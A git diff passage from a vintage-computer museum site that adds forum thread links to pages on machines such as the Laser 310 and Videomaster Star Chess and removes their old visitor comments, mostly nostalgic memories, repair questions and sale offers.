index 4cbfd3b6..fbde3532 100644 --- a/content/museum/video-technology-laser-310.md +++ b/content/museum/video-technology-laser-310.md @@ -74,6 +74,7 @@ params: - emulators - links - docs + forum_thread: 169 photos: - title: THE LASER 310 subtitle: '' @@ -328,27 +329,6 @@ params:  source : [The VZ200](http://vz200.tripod.com) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Legend Chen (China) - date: Saturday 12th October 2019 - text: Same as MagNet. I was about 10 in 1988 when my father, chief engineer of a local computer factory, brought me a LASER 310 from Hong Kong. That was one of my best childhood memories ever since. The BASIC language, the official demo cassette including a very attractive game, and the whole configuration that needs several minutes to set up. - - author: Dave - date: Sunday 2nd June 2019 - text: |- - The intro-to-computing courses with the Laser 310 / VZ300 must nearly have been worldwide, as these were also advertised in various magazines in Australia between 1985 to \~1988. - - For any VZ fans, come on over to our ''VZ / Laser'' Facebook page. - - author: MaGNeT (Netherlands) - date: Wednesday 8th March 2017 - text: Back in 1988, when I was 12, my parents put me on a "BASIC programming for the youth" course by the Scheidegger Institute. The Laser 310 came in a small suitcase, together with a course folder. Back then it was my first experience with a computer and got totally hooked. - - author: Steve Van Nieuwenhoven (Belgium) - date: Thursday 8th January 2015 - text: Same story as Enrico. My dad went on a computer course at Sheidegger Industries to learn "computer" and afterwards he could purchase the machine in 1984 for 27000 BEF $ a half months wages back then. - - author: Enrico Barbisan (Italy) - date: Saturday 31st August 2002 - text: |- - So, finally I've found a Laser 310 Clor Computer! I have to say that, on the back, production year is 1983, not 1984!\ - And this computer was not sold only in Australia and NZ: in Italy there was computer courses to learn computer science with this computer, and at the end of the course people could buy Laser 310! related: - /museum/dick-smith-vz200 - /museum/dick-smith-vz300 diff --git a/content/museum/video-technology-laser-350-500-700-750.md b/content/museum/video-technology-laser-350-500-700-750.md index 1566ed38..45e3fe33 100644 --- a/content/museum/video-technology-laser-350-500-700-750.md +++ b/content/museum/video-technology-laser-350-500-700-750.md @@ -93,6 +93,7 @@ params: - photos - hardware - emulators + forum_thread: 445 photos: - title: THE LASER 500 subtitle: '' @@ -135,10 +136,6 @@ params: url: http://mess.emuverse.com/ platform: Other platform text: MESS emulates the Laser 350/500/700 ! - comments: - - author: Silvia Antes (Argentina) - date: Wednesday 4th May 2005 - text: Alguien me puede enviar una imagen del disco de sistema DOS para la LAser 700? oc_id: 449 source: url: https://web.archive.org/web/20230601001043/http://www.old-computers.com/museum/computer.asp?c=449 diff --git a/content/museum/video-technology-laser-50-one.md b/content/museum/video-technology-laser-50-one.md index 9c47059b..74b3ba5a 100644 --- a/content/museum/video-technology-laser-50-one.md +++ b/content/museum/video-technology-laser-50-one.md @@ -67,6 +67,7 @@ params: tabs: - photos - hardware + forum_thread: 443 photos: - title: LARGER VIEW subtitle: '' @@ -127,29 +128,6 @@ params: subtitle: '' text: A nice little 4 colours plotter using a very common mechanism at that time. It's the same printer used for the Laser 200 family. image: /media/museum/hardware/vtech_laser50_pp40.jpg - comments: - - author: Marty McFly - date: Sunday 2nd June 2019 - text: Could someone please send me a PDF of the Basic instruction Manual that came with the Laser 50? Just bought this computer used over e-bay, and I want to get into Basic programming, but I can''t find that booklet anywhere online. - - author: Brian (America) - date: Wednesday 16th November 2011 - text: I owned one when I was 6! This baby set me on the path of the programmer! Amazing! - - author: Talib (Seattle, WA) - date: Tuesday 10th August 2010 - text: I would love to own it, i will buy it from you. Anybody willing to sell it? - - author: cyberfritz (Germany) - date: Monday 17th March 2008 - text: |- - Hello, can someone send me a copy of the manual? - - Thanks & Regards,\ - cyberfritz - - author: Josh (Indiana, United States) - date: Tuesday 13rd May 2003 - text: This weekend, I purchased a Laser 50 at a local thrift store. I'm still trying to think of some useful application for it. Any ideas? - - author: Ralf (Germany) - date: Monday 6th May 2002 - text: Nobody here to remember? Damn. It's a very rare machine .. oc_id: 447 source: url: https://web.archive.org/web/20230601000917/http://www.old-computers.com/museum/computer.asp?c=447 diff --git a/content/museum/videomaster-star-chess.md b/content/museum/videomaster-star-chess.md index fded5325..9a0c1071 100644 --- a/content/museum/videomaster-star-chess.md +++ b/content/museum/videomaster-star-chess.md @@ -10,6 +10,7 @@ params: tabs: - photos - software + forum_thread: 1086 photos: - title: STAR CHESS subtitle: '' @@ -44,171 +45,6 @@ params: subtitle: Screenshot text: We notice that this version is not exactly the same as the Videomaster Star Chess console, though very similar. So it is not a direct hack of the Arcadia cartridge. image: /media/museum/software/videomaster_starchess_ss_arcadia.gif - comments: - - author: Peter Gebler (UK) - date: Saturday 7th May 2011 - text: |- - I invented Star Chess around July/August 1977 when I was working as Technical Editor of a trade magazine in the UK called "New Electronics". This was around the time that the first serious microprocessor battle between Intel (with its 8080) and Motorola (with its 6800) was gathering force and lots of other companies (TI, MOS Technology, National Semiconductor, RCA ...) were also fighting to get into this market and everyone was talking about the amazing new applications that microprocessors would enable. New Electronics was by far the most successful professional electronics engineering publication in the UK at the time and I was unique among the people working for these kinds of publications in that I actually understood the technology. It sounds strange today but in the mid-70''s nobody expected the people writing for trade publications in areas such as electronics or chemicals or agriculture to actually know anything about the industry they were writing about$ you sifted through hundreds of press releases, decided which ones to print, then edited them down to a standard format. My immediate boss at New Electronics had a background in industrial chemistry but had no idea what a transistor was. - - Because I had a degree in maths and physics and a background in electronic design, I was able to carve out a bit of a niche in the electronics reporting field. The inspiration for Star Chess came while I was visiting a semiconductor company (can''t remember which one - it may have been TI, which had a manufacturing site in Bedford at the time) and their marketing manager commented that with all the companies I was visiting and the inside information I had access to I was in a good position to come up with some new applications myself. - - That was literally what happened. When I got home, I sat up late at the kitchen table thinking of all kinds of possible new applications for microprocessors. Music synthesisers were my main interest at the time but I rejected this route because it was clear that the performance of the available microprocessors wasn''t good enough. Toys were another area I considered (I had two young children at the time) but the problem there was that microprocessors were just too expensive at the time to be used in toys. I outlined a system for automating library borrowing using smart cards (also just recently invented) but rejected this because the smart card technology at the time was also expensive and unproven. So, finally, I decided to focus on video games: they were becoming more important commercially but they were mostly ping-pong type games that involved only hand-eye coordination. I thought there must be an opening for some kind of strategy-based game. This all happened soon after the first "Star Wars" film (July 1977), which I didn''t see but knew that it was very popular. So, that night, I decided to invent a new video game, based on chess but involving "Star Wars" aspects. I kept the basic chess pieces but renamed them and introduced the ability to fire at opponents and warp into hyperspace. This was because I am not a good chess player and don''t have the attention span to look beyond the next move or two. So the idea of being able to defeat an opponent''s carefully executed strategy by invoking luck appealed to me. - - By the time I went to bed (very late!), I had two handwritten pages that simply outlined the rules of the game. - - By coincidence, a few days later I attended a press conference given by Videomaster and met their marketing director, Derek Martin. I decided to approach them as they seemed to be the only UK-based video games manufacturer. They were immediately interested and we signed a licence agreement (about a week before Christmas 1977) that gave them exclusive worldwide rights to Star Chess. The actual technical development was done by a firm called Dalton, Viewing $ Whitsey based in Coventry. They decided to use the Motorola 6800 microprocessor and the resulting order was at the time the biggest order anywhere in the world for microprocessors$ I remember we had a press conference to announce this. The game was launched with a massive champagne laser press breakfast with a guest TV celebrity, Magnus Pyke. - - After that, everything went wrong. The game was not a commercial success, although it certainly gained a cult following. It was priced at £70 in the shops (far too high at the time) and there were rumours of high failure rates. Videomaster encountered financial problems and were acquired by Waddingtons. This was a company mainly known at the time for greetings cards and board games but it wanted to get into electronic games. Their acquisition of Videomaster was conditional upon me signing a new licence agreement transferring Videomaster''s rights to Star Chess to Waddingtons. I agreed to this but the window of opportunity had already closed. Waddingtons lost a lot of money and Star Chess became history. - - I didn''t do badly out of it - about £70,000 over a few years for two pages of hand-written concept description that was the result of five or six hours work - but who knows what might have happened if I''d chosen a different company to commercialise it? - - author: Tomr (England) - date: Sunday 18th July 2010 - text: |- - I used to play this at a friends house back in the 80''s.\ - Their family went through at least 3 of these consoles over the years. I remember their dad saying he was getting them cheap for about £50 a throw. (and that was cheap back in the day) - - And nowadays i am the very proud owner of one of my own. After buying one boxed in mint condition on a carboot for a Fiver a couple of years ago.\ - I will never be selling it! - - Pete G: If that is true. Then thank you for your contribution towards many fun times and fond memories! - - author: Rich (UK) (United Kingdom) - date: Wednesday 9th November 2022 - text: Peter, if you are still interested in doing an on line version, I''d love to have a go, and even looking at perhaps porting it to the ZX Spectrum Next as that has . I''ve been doing development for far too many years to remember so think its very viable :). Was thinking this would make either a JavaScript browser based or go the full hog and Unity. If you have a website/email I can $ you a message. Got 2 machines working now.(tough display needs a composite mod really) and hopefully a 3rd. - - author: Pete Gebler (United Kingdom) - date: Thursday 4th June 2020 - text: |- - If there is anyone interested in re-created Starchess as an online game, please contact me. You get 75$ because you do all the programming. OK, 80$. - - I always regretted that Videomaster really screwed up a game that had so much potential. I would be happy to talk to anyone who wants to bring it back to life. - - author: Gerald Lane - date: Friday 20th December 2019 - text: Having a clear out. In 1977 I was working for the Design Council and was collecting details of where Microprocessors were being used, This led to me being involved with The Challenge of the Chip exhibition at the Science Museum. I was given lots of products to put on display and the Star Chess was one of them. Box is a bit tatty and the plastic lid cracked and id glued. Not used much. Looking for a new home! I live near Gravesend. - - author: Brian Horne (England) - date: Sunday 10th February 2019 - text: My Son just got a old Videomaster Star Chess model VMV14 Ser. No. 1091. But output sound problems. I am looking for a wiring circuit diagram so I can fault find on it. Anyone got one or where I could purchase a copy. - - author: Nick Sheldon (UK) - date: Friday 18th January 2019 - text: I used to play this game on the top floor(?) of Harrods in 1979/80 when aged 16 with a friend who went on to get 7 grade ''A'' A'' levels in one sitting! On our rather infrequent visits we used to be allowed to play it indefinitely, as it served as a free demonstration of the game. I remember it with great fondness, as I could very easily win against this otherwise extraordinary opponent. - - author: Rich (UK) - date: Sunday 25th November 2018 - text: |- - I remeber visitibg a friend''s house when he got it. Being young I didnt understand the game but the console looked futuristic in the says a plastic Binatone pong.\ - Now I picked up two from ebay for a readonable price nearly 40 years later. One with a very buzzy psu and one with poor image on ch 36 (the on the aint too good).\ - I''m planning to at least restore one good one out the two. Interesting that they both have different psu designs. One almost looks like a kit box compared to the more moulded one.\ - I guess there are no circuit diagrams about so hopefully it will just need recapping and possibly adjustment of trimming caps on the board to tune in better. - - author: Ross (Cornwall, England) - date: Wednesday 3rd June 2015 - text: Cannot remember where I purchased mine, perhaps at the TV Mex exhibition in Birmingham at a release stand, but I still have it and since the output is UHF Tv standard, I have a UHF Tv as well, must power it all up and test it at some point. - - author: Michael O''Connor (Canada, New Brunswick, Saint John) - date: Sunday 17th May 2015 - text: 'Hey there I''''ve stumbled across your star chess post! I was wondering I still have the game and it''''s in mint condition although I don''''t own the system to try it! I was wondering what the price on Star Chess video game cartridge. Model No: MC 1004, Cartridge NO: 18 would be today! If anyone has any idea as to what these are going for or want''''s to offer on it Please do so! Thank you sincerely Mike.' - - author: António Vasconcelos (Portugal) - date: Sunday 14th December 2014 - text: |- - Any chance of disclosing the rules for Star Chess ? I can''t believe I couldn''t find them somewhere on the net...\ - I don''t have the skills for doing an online multi-player version or a USER vs AI 1 player version and I''m sure no one will be interested in a 2 players version done in ZX BASIC, but I''d like to know... - - author: David Austin - date: Wednesday 26th November 2014 - text: I also have one of these in full working order. Can''t part with it, nostalgia i guess. - - author: Patrick Cardon (France/Belgium) - date: Wednesday 22nd October 2014 - text: I bought one of these when I lived in the UK 15 years ago, it is boxed (missing a flap) but the unit is in mint condition. Think at the time the picture was garbled so I stored it to have a look at it later. Really should have a look at the inside to see if it can be fixed, still curious to see the game functioning. If there is any technical info out there that might help I would surely appreciate it :D - - author: Colin Jones (UK) - date: Sunday 27th October 2013 - text: We (my family) had this game and played it to death, literally. The failure point was one of the control pads. I tried to fix the problem but nothing worked. A great shame, it was a great game for the time. - - author: Pete Gebler (UK) - date: Tuesday 15th January 2013 - text: Thanks to everyone who said nice things about the game. As far as suggestions for reviving it as an iPad or iPhone game go, I have thought of some new rules that would introduce a whole new dimension to the game but I don''t have the programming skills. But if anyone knows anyone who might be interested in a joint project ... - - author: Ron Jones (Maidstone) - date: Wednesday 9th January 2013 - text: Logged on to the Waddingtons looking for info and found the videoMaster star chess mentioned. I have this console given to me for a birthday prezzie in 1980 I believe. It was used very often over the years but fell by the wayside with the advent of modern technology, although was last used two years ago. The problem I have is that The old tubed tv that was used to play the game has been discarded. Thinking that the grandchildren and great grandchildren might like to play with this I tried to connect to a modern tv. Alas I cannot do it. Does anyone have any idea how this can done done, would be grateful for advice. - - author: Cliff McCann (West Sussex) - date: Friday 4th January 2013 - text: |- - In the late 70s I was a young Airman in the R.A.F. and I bought a Star Chess game from the NAFFI shop.\ - it gave us hours of great fun.\ - Until I got posted overseas and it got lost in transit,I was gutted.. And worst of all by this time the game had gone out of production and I was unable to replace it.\ - but as things have progressed I wonder if you have ever thougt of making a pc software version of the game I''d buy a copy.... - - author: Sarah Hemmings (Hereford, England) - date: Sunday 7th October 2012 - text: I actually had this for a christmas present back in the 80s and still have it. It still works too, i used to love it. When you got won an opponents peice it would make an awful racket but it was what made it great. - - author: Malcolm Barker (UK) - date: Wednesday 23rd May 2012 - text: I worked at DVW on the hardware design for Star Chess, and a friend of mine wrote the firmware. The processor was the Motorola 6500 that had on-board RAM as well as CPU and I/O. The design required external RAM to be shared by the CPU and video controller so the 6500 chips used in the product were obtained more cheaply as the on-board RAM was faulty - but that did not matter as is was not used. The video controller was the Ferranti ULA that was programmed with logic based on a Thomson CSF video controller design. I remember having to translate a thick technical manual from French in order to understand how the video controller worked and how to modify the design for the game. - - author: Tim Gingell (uK) - date: Monday 30th April 2012 - text: I always remember this - warping a piece to get it out of trouble and then it coming back anywhere a random number of turns later was genius! - - author: Stephen Baxter (East Kilbride) - date: Thursday 1st September 2011 - text: |- - In the 1980''s I worked for the company John Menzies\ - who sold Star Chess. I recall playing the game in the shop. I believe we sold the one held in stock but never received any new stock. - - author: retro80 (USA) - date: Sunday 7th August 2011 - text: |- - Hi,\ - This is the first I heard of this game. Maybe it can be written to run on a modern windows or mac pc. - - author: Paul L (UK) - date: Thursday 5th May 2011 - text: |- - Yep i used to have one too back in the early 80''s\ - Had it from a pal in helsby in cheshire and spent endless hours on this. - - author: Rod G - date: Sunday 27th March 2011 - text: I loved this game. Played it for hours. My first wife took the console when she divorced me. Any chance you might bring it out as an iPad app? - - author: Rod G - date: Sunday 27th March 2011 - text: I loved this game. Played it for hours. My first wife took the console when she divorced me. Any chance you might bring it out as an iPad app? - - author: Will (England) - date: Thursday 13rd January 2011 - text: I bought this game consol on 25th August 1979 at Woolworths in Bristol for £61.45 I still have box and near mint. I used to play this with my brother a few times. My brother then bought his own, I think he still has it. - - author: Graham Denison (United Kingdom) - date: Friday 22nd October 2010 - text: Have one, all boxed up and working. I remember buying one from Comet in the 80s cheap, the PSU was missing, so I built one... in a shoe box! I lent it to a friend from work.. and as usual forgot all about it, until I bought the current one in a charity shop. - - author: Bob (England) - date: Saturday 31st July 2010 - text: |- - They used to have this game in the Science Museum in London and I was fascinated by it....I was in my early teens in the late 70''s the and used to go there on a Saturday. - - Happy memories... - - author: ChrisEck (Lowestoft, UK) - date: Monday 12th July 2010 - text: Woah, someone else who remembers this game on sale in Lowestoft! I remember playing the game at Boots back in the early 80''s. I couldn''t afford it at the time (can''t remember how much it was though). Eventually got a good condition but unboxed one off ebay. - - author: ianhaywood (uk) - date: Wednesday 12th May 2010 - text: |- - Hi there, i have 1 of the videomaster star chess, i was thinking of selling it as im hard up, any idea how much its worth please.\ - Also there is a square box on the left of the box, a cardboard small square box, with nothing in it, what should be in here please?ian - - author: Peter (Suffolk/UK) - date: Tuesday 4th May 2010 - text: |- - I first saw this game at Woolworths in Lowestoft piled high and being heavy pushed demonstrated on a ''large'' TV. - - Always wanted one, but could never afford one at the time. I now have two boxed ones carefully packed away. - - author: toby smith (london) - date: Monday 26th April 2010 - text: i still have mine boxed and still working iam going to phone the toy museum to see if thay want to put it on display - - author: DaveA (UK) - date: Thursday 31st July 2008 - text: I have this game from 1979. Its in fully working order last time I checked. Couldn't part with it. - - author: Impy (England) - date: Monday 26th May 2008 - text: I have a Star chess console..console with all controllers, no box. The power supply is boxed (although a bit tatty). make me an offer !! - - author: EJ Connolly (UK) - date: Wednesday 13rd December 2006 - text: I have a star chess which was bought for my son as a Christmas present in the 1980s . I used to enjoy playing with him as he was learning to play chess at the time and it was good fun to play with. - - author: Dan Vanderveer (Netherlands) - date: Thursday 9th November 2006 - text: 'I have played this rare console in my younger years and remember the very distinct and annoying sound effects it created. The volumeknob had only 2 positions : very-loud or off... So after three efforts, I gave the thing away to a friend of mine who was shortly thereafter not my friend anymore. Oh well, not a clue back then of the value the console would have now in this day & age.' - - author: Colin jones (Earth) - date: Monday 5th September 2005 - text: I remember having a Star Chess console. It was played to death - literally. It got very frequent use until the controllers failed to function any longer. After that I'm afraid it was binned :( - - author: Chris (UK) - date: Thursday 19th May 2005 - text: My friend had this console, the game was really great fun. He didn't like it though but his Mum wouldn't let him swap the game with me for something! - - author: DrJones (The Netherlands) - date: Wednesday 18th May 2005 - text: Cool! I still have one controller left from this thing. Sadly, I don't have anything else anymore of this console. oc_id: 1116 source: url: https://web.archive.org/web/20230615000253/http://www.old-computers.com/museum/computer.asp?c=1116 diff --git a/content/museum/videoton-tv-computer.md b/content/museum/videoton-tv-computer.md index b860584d..8b2ea593 100644 --- a/content/museum/videoton-tv-computer.md +++ b/content/museum/videoton-tv-computer.md @@ -70,6 +70,7 @@ params: - software - emulators - links + forum_thread: 58 photos: - title: 64 KB MODEL subtitle: '' @@ -249,45 +250,6 @@ params: - title: VIDEOTON TV-COMPUTER's B.A.T. 21 page url: http://bat21.freeweb.hu/tvc/tvc.htm text: Nice dedicated hungarian site - comments: - - author: Frank (Canada) - date: Thursday 17th March 2022 - text: Videotron is also a big cable company in Canada - - author: Béla Czeiner (Hungary) - date: Monday 9th October 2006 - text: |- - Can you imagine a network from these PCs?\ - I had worked on it! It means that 8 TVC was connected to a standalone floppy disk drive (which was able to handle 2 (!) disks). So it was possible to "distribute" data from this common FDD. But mainly we stored our programs written in Basic to tape drives. And a story: When you were ready with your program and tried to connect the tape - or doing any other hasty movement - knocked the table under your TVC you had a great chance of a reboot... ;-) - - author: Viktor varga (Budapest, Hungary) - date: Tuesday 11th October 2005 - text: The tvc.homeserver.hu page is updated frequently, new emulators, more fotos, documentation, and programs are avaible from time to time. - - author: Ryan Brown (San Jose, CA) - date: Thursday 12th May 2005 - text: That weird picture is a rare 3200 expansion pack that gives 3 and 1 half slots for floppy discs and more expansion slots. - - author: Viktor Varga (Hungary, Budapest) - date: Monday 14th July 2003 - text: |- - Check the forming new site:\ - http://tvc.homeserver.hu or\ - http://tvc.8bit.hu - - Many scanned documentations, the newest downloadable emulator. At this time not ready, but frequently updated. (Games are comming soon...) - - author: Reidl Romeo (Budapest) - date: Tuesday 24th June 2003 - text: |- - Good old times! With a russian Junosty televison together! And I'm wondering why I wear eyeglasses :-) I lived in Tab, where the VideoTon factory was Loacted (now it's a Flextronics factory) sure, that I had one of this beauties! And with all cool upgrades, likes 1.2 and 2.2 system, UPM and DOS system and a dual floppy drive too!!\ - Unfortunatelly I sold the whole thing... that was a mistake. - - author: SMokey (Hungary) - date: Tuesday 8th April 2003 - text: I have one at home... thinkin of combining it with my TV Tuner card :) - - author: JulWCZar (Hungary) - date: Monday 30th September 2002 - text: |- - It's good to see this Hungarian computer from the 80s.\ - It makes me feel proud of my country, even if I have never seen any of it working. - - author: Ferenc Szakacsi (Hungary, Budapest) - date: Wednesday 12th June 2002 - text: There is a great homepage about TVC in location http://bat21.freeweb.hu/tvc oc_id: 39 source: url: https://web.archive.org/web/20230608094144/http://www.old-computers.com/museum/computer.asp?c=39 diff --git a/content/museum/visual-technology-visual-1050.md b/content/museum/visual-technology-visual-1050.md index 5afd928b..4cdea278 100644 --- a/content/museum/visual-technology-visual-1050.md +++ b/content/museum/visual-technology-visual-1050.md @@ -71,6 +71,7 @@ params: - adverts - links - docs + forum_thread: 823 photos: - title: SYSTEM subtitle: '' @@ -134,16 +135,6 @@ params:  type of document : PDF\  size : 1.1 MB\  source : [Visual Technology Visual 1050 info page](http://www.metabarn.com/v1050/) - comments: - - author: Jim Schifalacqua (USA) - date: Wednesday 8th December 2010 - text: This was my first "real" home computer, purchased back in 1984 after I graduated college and I used it up through 1995! It was great for word-processing, spreadsheets, and programming (used FTL C and Modula-2 compilers for CP/M). The best thing was it''s VT-100 compatibility. I used it with a modem as my home terminal for UNIX systems all through graduate school. It was great for vi and editing/compiling/uploading C programs. What a great little machine, and great graphics and display capabilities. But its floppy drives were noisy! My wife referred to them as buzz-saws, and between those and the daisy-wheel printer I used with it, I couldn''t use the thing past 10 pm without waking everyone up! - - author: Richard Bramante (USA) - date: Tuesday 18th December 2007 - text: |- - I put together a basic page here for some information I have collected on this system. If anybody can help with more information please let me know. - - http://bramante.metabarn.com/visual1050/ oc_id: 842 source: url: https://web.archive.org/web/20230201165415/http://www.old-computers.com/museum/computer.asp?c=842 diff --git a/content/museum/visual-technology-visual-1083-commuter.md b/content/museum/visual-technology-visual-1083-commuter.md index fd1be88f..89aaceb4 100644 --- a/content/museum/visual-technology-visual-1083-commuter.md +++ b/content/museum/visual-technology-visual-1083-commuter.md @@ -66,6 +66,7 @@ params: - photos - adverts - software + forum_thread: 1161 photos: - title: RIGHT SIDE subtitle: '' @@ -93,77 +94,6 @@ params: subtitle: (on LCD display) text: '' image: /media/museum/software/visual_commuter_menu_ss.jpg - comments: - - author: John Citron (USA) - date: Tuesday 15th February 2011 - text: |- - I used to work for Visual Technology from 1980-1987, and from 1983-1987 as a repair technician. These were nice units to work on with everything on the single board. - - I have one that is still operational. Complete with the user guide and the troubleshooting guide with the schematics. - - These were really great systems in their day, and were quite capable of running all kinds of software including CAD programs. This was back when whole programs would fit on a 360K floppy. - - With the built-in terminal mode and the fully-functional serial ports, they have been used in the past as controllers for the diagnostic boards in AM International (Varityper Epics 20/20) typesetting system. In 1988 my family purchased a Varityper Epics 20/20 system for their graphics studio. When the Varityper technicians came in to setup the system, they brought their Visual Commuters. - - author: Richard L. Groves Jr. (USA) - date: Tuesday 27th May 2008 - text: |- - It was great to see this machine listed here! Brings back lots of memories. I bought one new from DAK back in 83 or 84. It came bundled with a 12 inch amber monochrome monitor and a Silver Reed daisy wheel printer. I see that you list it as having an 8088 processor but I had the cover off mine to set it for color and it was an 8086 processor. I had the max ram of 512 and eventually put a 13 inch color monitor on it. Didn't get the LCD however. I wish I knew where it was or had some pictures of it to share. - - Thanks for bringing back fond memories - - author: Kelly Lute (USA) - date: Thursday 29th November 2007 - text: |- - I had one of these! I've been trying to remember the make and model for it, for years. This was my first IBM compat after owning an Apple II+ for several years. - - I remember being WOWed by having a whole 128K of memory. The swing-up LCD display was pretty useless. Bad contrast and no graphics. - - At the end of it's reign, in my house, I unhoused the motherboard from the case and re-installed it into a tower unit, allowing otherwise impossible upgrades. I remember trying to use Windows 1.0 on this machine. Even simple uses and applications required many diskette swaps. After a lot of screwing around, I managed to mate the motherboard with a 10M Seagate HD and "install" Windows 1.0 onto it. Sort of a pointless exercise. I didn't bother with Windows again, until 3.11, and continued to use DOS along with various task switchers and TSR add-ons. - - Thanks for the flashback! - - author: Nick Holland (Detroit, MI USA) - date: Tuesday 17th April 2018 - text: Richard Groves reported that his had an 8086 processor (true 16 bit) rather than the 8088 processor of the PC and most compatibles. I had reason to open my Visual Commuter today as the power supply had failed, but mine clearly has an 8088 in it (well...clearly after I got the magnifier out. My eyes are not as good as they used to be. :-/ ). I can only speak for the one I own, but I suspect they are all 8088 based. - - author: Eric Elford (Canada) - date: Friday 13rd March 2015 - text: Really fun to see these old dogs again. I used to sell Visual pc''s out of Edmonton, they were very nice, albeit heavy, pc''s. I recall converting at least one to an XT by adding a Hard drive. A first in the area! Thanks for the fond memories! - - author: Mihail1810 (Ru) - date: Friday 31st October 2014 - text: 'I have some problems vith my Visual Commuter 1083, serial ports not working. May be someone can send to me Users Manual or Trobleshootin list? My e-mail : far-w-bbs@ya.ru. Thanks.' - - author: Miles Carter (USA) - date: Friday 26th September 2014 - text: I had one of these as my first PC, it saw regular use with an EGA and CGA monitor into the early 90s. I remember my mom playing qubert (not Q\*Bert) on it until she filled the score counter and it went negative and then back through positive. That orange phosphor screen is burned into my memory. Also would play a tower typing game and various BASIC programs. We had a Ford Simulator on a white floppy, it played much like a Pole Position/Outrun mashup. - - author: Michael Piccolo (US) - date: Sunday 9th December 2012 - text: |- - As the former VP Sales of the Eastern Region our failure was that of greed an ego between the teams of CCS and the Visual management. A bitter battle was fought on the go to market stategy and the sales team necessary for the resale of the Commuter. The former CCS sales team had over $5M of orders committed but the riff between the management factions sunk the entire project. - - I to this day love greedy idiots. - - What a shame the computer had tremendous market potential and had a follow-up notebook strategy that never evolved. - - author: Keith Skinner (USA) - date: Wednesday 25th April 2012 - text: I have one of these computers. I also bought mine through DAK and it was useful for my work, and more powerful than the computers at the office. And as Bill Gates was quoted to have said "Who would need more than 640 MB of memory?" This one had upper memory mapable to 1 MB. - - author: Joshua Fowlke (United States) - date: Saturday 4th February 2012 - text: Can anyone tell me what one of these machines is worth today? Its in perfect condition, in fact I''m almost positive that it''s never even been turned on. - - author: Kevin Kordes (Malaysia) - date: Wednesday 5th January 2011 - text: |- - I bought one of these machines from DAK with the intention of semi-automating my (then) small transformer manufacturing factory in California. But, that never happened as I purchased a 286 IBM clone. It was very ruggedly built though. They don''t build equipment like this for the consumer market anymore because the Chinese have aced us out of the market. - - BTW...My factory is closed down and I''m struggling to survive in SE Asia. - - Bye...Bye America - - author: Brandon (USA California) - date: Friday 30th July 2010 - text: |- - I just got one of these from work. A computer shop thats been around since the 90''s - - Still seems to post, makes the beep sound.. lcd won''t display... - - they were throwing it away and i realized it was probably about 30 years old... - - Thought I might be able to donate it to a museum. Especially seeing as how it turns on! oc_id: 1193 source: url: https://web.archive.org/web/20230604044446/http://www.old-computers.com/museum/computer.asp?c=1193 diff --git a/content/museum/voltmace-database-games-computer.md b/content/museum/voltmace-database-games-computer.md index df9ccc7e..6b3ec1fb 100644 --- a/content/museum/voltmace-database-games-computer.md +++ b/content/museum/voltmace-database-games-computer.md @@ -13,6 +13,7 @@ params: - software - emulators - links + forum_thread: 1157 photos: - title: VIDEOMASTER DATABASE MODEL subtitle: '' @@ -149,27 +150,6 @@ params: - title: VC4000.de url: http://www.vc4000.de text: Website dedicated to the Interton VC4000 (in German) - comments: - - author: Derek Andrews (Canada) - date: Friday 23rd April 2021 - text: I am actively working on this system. I have a couple of consoles that I''m trying to get working with modern tv sets here in Canada. I have schematics of the circuit, documentation of the Leapfrog game that I wrote, I''m planning on making pcbs and cases for cartridges, and I''m even working on a new game concept. The purpose of my website is to encourage others to save these consoles and write new software. Check it out and use the contact form to get in touch. Happy to help anyone who needs it. - - author: Colin Day (United Kingdom) - date: Friday 13rd November 2020 - text: I am currently in the process of repairing one of these. Would really appreciate a picture of the power supply if anyone has one? It runs on +18v and +9v with step downs internally to +6.2v. - - author: Richy (Herts) - date: Monday 16th April 2018 - text: Awesome. Had this as a nipper in the 80s. Lived near Baldock so might explain why! I remember going to a local games "shop" / voltmace merchant (swear it was someones garage or house extension) and there was always the one shifty database title amongst the vast array of sexier looking atari 2600 games. I wasn''t interested in hearing any "compatibility" nonsence - i just wanted the spiderman game with green goblin on the box (it was packaging perfection ). Were voltmace and all the other UK cart machines 2600 inspired / direct clones anyway? - - author: Nick Blackburn (Isle of Man, UK) - date: Tuesday 10th January 2017 - text: |- - I Have a fully restored Voltmace that powers on but as I have no games I have no idea if it actually works! Was very grubby when I got it but now it looks great.\ - Anyone got a few games spare?!! :) - - author: david stokes (england) - date: Friday 23rd March 2012 - text: i had a database games computer just found it in my loft any idea how you tune it in on the tv are they worth any money - - author: John Bell (UK) - date: Tuesday 23rd November 2010 - text: The Database system was actually made in the Philipines. My old company (Circolec in South London) was cotrscted to Videomaster for 3 years, servicing and repairing all of their games. We also sold thousands of obsolete games to market traders and small shops during that period. Our first contract with them was to repair and repack hundreds (maybe thousands!) of Starchess and pin pong games that had been damaged by floods in the Phiiipines. Waddingtons paid for them in advance and didn''t realise they were flood damaged until they arrived in the UK! related: - /museum/acetronic-mpu-1000-2000 - /museum/cabel-universal-game-computer diff --git a/content/museum/wang-laboratories-wang-2200.md b/content/museum/wang-laboratories-wang-2200.md index 609c3643..b38f7f10 100644 --- a/content/museum/wang-laboratories-wang-2200.md +++ b/content/museum/wang-laboratories-wang-2200.md @@ -55,6 +55,7 @@ params: tabs: - photos - adverts + forum_thread: 1275 photos: - title: WANG 2200 PCS subtitle: '' @@ -93,10 +94,6 @@ params: subtitle: '' text: from Creative Computing magazine (nov./dec. 1974) image: /media/museum/pubs/wang2200_pub-1974_1.jpg - comments: - - author: Achim Baqué (Germany) - date: Sunday 12th September 2021 - text: Hi, I am a vintage computer collector. Please contact me (E-Mail via my website) if you have a Wang 2200 to offer. oc_id: 1310 source: url: https://web.archive.org/web/20221205102250/http://www.old-computers.com/museum/computer.asp?c=1310 diff --git a/content/museum/welect-80-2.md b/content/museum/welect-80-2.md index c2959f5a..791ea30e 100644 --- a/content/museum/welect-80-2.md +++ b/content/museum/welect-80-2.md @@ -59,6 +59,7 @@ params: tabs: - photos - adverts + forum_thread: 266 photos: - title: KEYBOARD subtitle: '' @@ -100,19 +101,6 @@ params: from Micro-Systèmes magazine (N°34)\ The advert is for the Welect line of products, but the system pictured is not a W80.2 image: null - comments: - - author: BARROO Paul-Marie (FRANCE) - date: Friday 8th November 2019 - text: |- - I used this WELECT with 8p diskettes, when I was in this entreprise H.B.N.P.C. (Houillères du Bassin Nord Pas de Calais) in north of France, in 1983 during 2 or 3 years ago until the first Pc clone arrive …\ - using DATASTAR WORDSTAR …\ - the first professional computer i used ! - - author: Sylvain (France) - date: Wednesday 1st June 2005 - text: Because the "computer of the day" is selected 